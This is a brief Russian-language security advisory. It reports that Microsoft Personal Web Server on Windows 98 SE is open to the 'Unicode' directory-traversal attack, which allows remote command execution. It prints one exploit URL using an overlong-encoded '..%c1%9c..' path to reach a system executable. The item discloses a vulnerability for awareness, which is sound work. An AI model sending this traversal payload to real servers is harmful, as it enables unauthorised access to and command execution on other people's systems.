Microsoft Personal Web Server - небольшой веб-сервер, поставляемый вместе с Windows 98, уязвим недавней 'Unicode' атаке, которая позволяет удаленно выполнять команды на сервере.

Системы уязвимы:
The Personal Web Server (в поставке с Windows98 SE)
Вполне вероятно, что другие версии также уязвимы.

Эксплоит:
Метод эксплоитирования такой же, как и у IIS:
http://PWS-server.example.com/scripts/..%c1%9c../windows/notepad.exe

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии